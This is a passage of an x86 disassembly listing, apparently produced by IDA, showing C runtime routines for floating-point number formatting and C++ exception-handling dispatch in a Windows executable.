		push	eax
		call	near ptr 2700665h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF


loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883


loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_433E80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_433E80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5


loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9


loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916


loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax


loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax


loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_435FE0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4CDA24, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4CDA20
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------


loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h


loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_433E80
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4CDA24, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h


loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl


loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4CDA24, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_4CDA28
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4CDA20
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h


loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax


loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_433E80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_4CDA24, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------


loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35


loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi


loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h


loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_4CDA20, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4CDA28, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_4CDA20
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4CDA28, ecx
		setl	cl
		mov	byte_4CDA2C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4CDA28, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6


loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al


loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h


loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_4CDA24, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_4CDA24, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------


loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D


loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi


loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552


loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------


loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h


loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax


loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A


loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552


loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_4CDA30
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_4CDA34
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552


loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552


loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax


loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E


loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B


loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C


loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]


loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------


loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx


loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4CDA38, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90


loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax


loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88


loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7


loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7


loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7


loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB


loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax


loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037


loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552


loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0


loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
